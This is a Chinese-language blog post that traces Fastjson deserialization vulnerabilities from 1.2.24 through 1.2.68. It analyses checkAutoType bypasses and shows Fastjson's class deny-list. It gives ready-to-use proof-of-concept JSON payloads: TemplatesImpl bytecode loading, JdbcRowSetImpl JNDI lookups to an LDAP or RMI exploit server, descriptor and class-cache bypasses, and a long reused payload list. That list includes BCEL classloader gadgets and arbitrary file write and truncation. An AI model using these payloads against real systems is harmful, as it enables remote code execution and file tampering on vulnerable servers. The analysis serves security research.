调试版本:JDK8u_65
测试
简单测试一下案例-通过fastjson弹计算器
这里我们已经知道fastjson反序列化
时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发
。fastjson在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发
构造一个Student
类
package FastjsonDemo.fastJsonDemo1;
import java.io.IOException;
public class Student {
public String name;
private int age;
public Student(){
System.out.println("Student构造函数");
}
public String getName() {
System.out.println("Student getName");
return name;
}
public void setName(String name) throws IOException {
System.out.println("Student setName");
Runtime.getRuntime().exec("calc");
this.name = name;
}
public int getAge() {
System.out.println("Student getAge");
return age;
}
}
Student_fastjson类
去加载 成功加载造成反序列化漏洞
package FastjsonDemo.fastJsonDemo1;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class Student_fastjson {
public static void main(String[] args) throws Exception{
String json = "{\"@type\":\"FastjsonDemo.fastJsonDemo1.Student\",\"age\":18,\"name\":\"5wimming\"}";
System.out.println("测试Fastjson SupportNonPublicField");
Student student = JSON.parseObject(json, Student.class, Feature.SupportNonPublicField);
System.out.println(student);
System.out.println(student.getClass().getName());
System.out.println(student.getName() + " " + student.getAge());
}
}
Fastjson1.2.24
TemplatesImpl 反序列化
影响版本:在早期的fastjson<=1.2.24中
,默认是使用@type来指定反序列化任意类
,这就造成了攻击者可通过java环境
寻找构造恶意类
,再通过反序列化
过程中去调用其中的getter/setter
方法,形成恶意调用链。我们来分析一下常规的TemplatesImpl 反序列化
定位TemplatesImpl包
,直接进行导包跟进即可
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
测试的pom.xml对应fastjson版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
跟进源码进行分析,可以发现在这个类中是存在一个Class类
的数组
,其下标为_transletIndexdex
的类会来到getTransletInstance
方法使用newInstance实例化
继续向下跳,寻找getTransletInstance
的重载方法,发现newTransformer
调用了,而类中的getOutputProperties
方法又调用了newTransformer
继续分析getOutputProperties()
方法,会发现其实就是_outputProperties
中的getter方法
到这里基本调用链出来了,那么我们继续进行分析,_class类是否可控
,继续审计其调用处,发现readObject
、构造方法
以及 defineTransletClasses()
中有赋值操作
来到defineTransletClasses()类
分析,发现这里是存在漏洞点的,这里如果_class不为空就会调用
,分析其逻辑:
首先要求_bytecodes不为null
,接着调用其中的_byte[]
,如果父类为ABSTRACT_TRANSLET
则进行调用
父类AbstractTranslet
其加载包为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
完整的恶意利用链子:
构造一个TemplatesImpl反序列化字符串
-> __bytecodes加载字节码
->令其父类为AbstractTranslet
->最终通过newInstance()实例化
->满足 _name 不为 null ,_tfactory 不为 null
最终Poc
为
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vg恶意字节码"],
"_name": "test",
"_tfactory": {},
"_outputProperties": {},
}
JdbcRowSetImpl 反序列化
前面已经了解了有关TemplatesImpl 反序列化
的链子,继续研究一下另一条导致JNDI注入的漏洞利用链
JdbcRowSetImpl 类位于com.sun.rowset.JdbcRowSetImpl
导入此类进行分析,跟进JdbcRowSetImpl
来到setAutoCommit()
方法,审计setAutoCommit()
方法,当this.conn
为null
则调用this.connect()
跟进this.connect()
,这里调用了javax.naming.InitialContext
的lookup()
方法,获取成员变量DataSource
这里lookup()方法
参数正好也是dataSourceName
,最终控制dataSouceName
造成反序列化漏洞
最终Poc
为
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
Fastjson1.2.25
引入 checkAutoType 安全机制
安全更新主要集中在com.alibaba.fastjson.parser.ParserConfig
,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
过滤如下
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
开启autoType的情况
继续向下分析 checkAutoType()
整体逻辑,这里如果开启了autoType
会先做一个判断,是否处在白名单,在的话通过TypeUtils.loadClass
进行加载,然后再判断黑名单
没开启autoType的情况
顺序则是先使用黑名单进行匹配
,再用白名单进行匹配和加载
。如果反序列化黑白名单
未成功匹配, 那么只有当开启了autoType
或 expectClass
不为空(指定Class对象)才能调用 typeUtils.loadClass
加载
继续跟进 loadClass
发现漏洞,这里是存在一处逻辑问题的
,本身这里是写了一个兼容带有描述符的类
,可这些在类加载
过程中会被处理掉。最终漏洞思路
开启autoType后,构造描述符绕过
,添加字符 L``[``;
即可
附上Poc
{
"@type":"[com.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
Fastjson1.2.42
继续分析,来到Fastjson1.2.42
,在此版本只是进一步对黑白名单的规则进行修改
。这里主要是修改黑名单
类添加了一个对Hash方式的对比
对之前版本存在类描述符绕过黑名单修复
。
下面继续分析,继续来到com.alibaba.fastjson.parser.ParserConfig
这个类
定位到ParserConfig
方法,发现denyHashCodes
对原本的黑名单策略做了一个Hash校验黑名单
继续向下分析,这里看CheckAutoType
分析整体逻辑,其实就是对黑名单进行截断第一个字符
是否为类描述符
,做一个Hash匹配
,如果是则匹配失败。但我们前面分析过,这里loadClass()加载类
来到loadClass
,还是采取递归处理的
最终Poc
,添加两个类描述符
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
fastjson1.2.43
换源,继续分析逻辑
跟进类com.alibaba.fastjson.parser.ParserConfig
还是对Hash黑名单进行一个匹配
,分析如下
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
这里其实是对代码根据类名中字符的ASCII 值
检查特定条件,如果两个条件都满足,就会抛出一个带有特定消息的 JSONException
漏洞产生:并未对所有类描述符
进行严格过滤,这里是可以添加[
字符成功绕过的
附上poc
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
fastjson1.2.44
此版本加固
了fastjson1.2.43版本
使用[
字符绕过规则,这个版本基本上是相对安全了
影响版本:1.2.25 <= fastjson <= 1.2.44
浅分析一下代码,增加了规则,出现[
字符直接抛出异常判断失败
fastjson1.2.45
分析版本来到fastjson1.2.45
,此版本升级后,存在一个黑名单匹配绕过
,绕过类
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
利用条件如下
-
目标服务端存在
mybatis
的jar包。 -
版本需为
3.x.x ~ 3.5.0
-
autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
Poc
如下
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1234/Exploit"
}
}
fastjson1.2.47
这个版本是重头戏,爆出一个最严重的漏洞,不需要开启AutoTypeSupport
直接进行反序列化
操作
利用条件如下:
-
小于 1.2.48 版本的通杀,
AutoType
为关闭状态也可以。 -
loadClass中默认cache设置为
true
继续分析类com.alibaba.fastjson.parser.ParserConfig
,来到CheckAutoType()
方法
先分析第一段
往下分析代码逻辑,这里有两个需要注意的TypeUtils.getClassFromMapping
和deserializers
这里deserializers
,其实是一个 IdentityHashMap
,能从其中赋值函数
-
getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
-
initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
-
putDeserializer():被前两个函数调用,我们无法控制入参。
来到TypeUtils.getClassFromMapping
分析loadClass()
类的代码,这里可以指导TypeUtils.getClassFromMapping
同样是从TypeTUtils.mapping
z中进行取值
关键函数:addBaseClassMappings()
loadClass()加载
分析代码得到逻辑,这里我们只要控制loadClass()方法参数
,就可以写入任意类名到mappings中
,下面寻找重载方法
,分析寻找一下loadClass(String className, ClassLoader classLoader)
调用处
翻阅发现,我们需要来到initDeserializer方法
,发现MiscCodec
是可用来处理反序列化类
的
跟进_MiscCo_d_eC_
类,审计其中代码,发现一处if判断
来到deserialze
,发现这里parser.resolveStatus
做了一个判断,并且是会解析val中内容
,传入值到strVal字符串中
继续向下分析逻辑,发现这里clazz=Class.class
,会调用loadClass()方法
,并将strVal类加载并缓存
到这里我们基本逻辑疏通了, 我们呢需要组成一条恶意调用链
,这里记住我们的入口点是 Class.class,可传入参数一下参数进行调试测试{"@type":"java.lang.Class","val":"test"}
完整恶意调用链:
先通过parser.parseObject
调用DefaultJSONParser
对传入json数据解析
这里由于deserializers
初始化已经加载了Class.class
,绕过AutoTypeSupport检测
下面需要设置 resolveStatus值为TypeNameRedirect
,然后来到MiscCodec.deserialze()
对class类型
进行处理,最终解析Json
数据中的val内容
,将其放入到objVal
,传递到strVal
中并使用loadClass加载方法并缓存到mappings中
,最终再次以恶意类请求@type
即可绕过黑名单阻扰进行反序列化操作!!!
:::
最终Poc
如下ladp://
{
"aaa": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"bbb": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
}
rmi://
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1234/Exploit",
"autoCommit": true
} }
fastjson1.2.68
在之前版本1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复。对MiscCodec 处理 Class 类的
设置了cache=false
,并且loadClass重载默认为不缓存
,直接避免了提前使用``Class类恶意类名缓存造成的反序列化漏洞
随着版本的更新,直到fastjson1.2.68
又存在一个新的漏洞点,可使用expectClass
去绕过checkAutoType()
检测机制,主要使用Throwable
和 AutoCloseable
来绕过
下面配置一下环境pom.xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
在1.2.68
版本下,更新了一个新的安全控制点 safeMode
,如果开启的话,将在checkAutoType()
直接抛出异常,进行ban掉修复
。那既然说到是存在一个新的autoType开关
,接下来进行分析这个绕过方式
,函数
分析safeMode控制点
这里继续往下看,发现代码的逻辑处存在漏洞点,可通过传参expectClass
,类名为子类进行绕过checkAutoType机制
接下来,往回分析,寻找一下调用checkAutoType
的重载方法是否存在可控的expectClass传参
,进行搜索
发现有两处重载方法,分别为:ThrowableDeserializer
、JavaBeanDeserializer
进一步跟进查看,发现直接ThrowableDeserializer
方法会将@type
后的类传入到checkAutoType()
这里expectClass
为 Throwable.class
类
继续向下,发现通过checkAutoType()机制之后
,最终将会使用createException
异常类的实例
到这里,基本整体思路漏洞利用链子就出来了。成功形成了通过Throwable子类
来绕过checkAutoType()
方式。
来自su15
文章积累的Payload
JdbcRowSetImpl
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
TemplatesImpl
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}
JndiDataSourceFactory
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}
SimpleJndiBeanFactory
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}
DefaultBeanFactoryPointcutAdvisor
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
WrapperConnectionPoolDataSource
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}
JndiRefForwardingDataSource
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}
InetAddress
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}
Inet6Address
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}
URL
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
JSONObject
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}
URLReader
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}
AutoCloseable 任意文件写入
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}
BasicDataSource
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}
JndiConverter
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}
JtaTransactionConfig
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}
JndiObjectFactory
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig2
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
CacheJndiTmLookup
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}
AutoCloseable 清空指定文件
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 清空指定文件
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 任意文件写入
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}
BasicDataSource
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}
HikariConfig
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
SessionBeanProvider
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}
JMSContentInterceptor
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}
ContextClassLoaderSwitcher
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}
OracleManagedConnectionFactory
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}
JNDIConfiguration
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}
拓展总结
Fastjson基础API的使用
- 序列化:JSON.toJSONString()
指定SerializerFeature.WriteClassName选项,会在系列化的json数据中,加入@type key和全量类名 value
- 反序列化:JSON.parse() && JSON.parseObject()
当@type 这个key存在时,会根据@type key的value,反序列化成具体的类对象,没有就处理成JSONObject
AutoType机制:自动帮你去反序列化成具体的类对象的机制
反序列化核心逻辑
根据字符串的byte
流,通过Java反射机制去重构一个对象
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)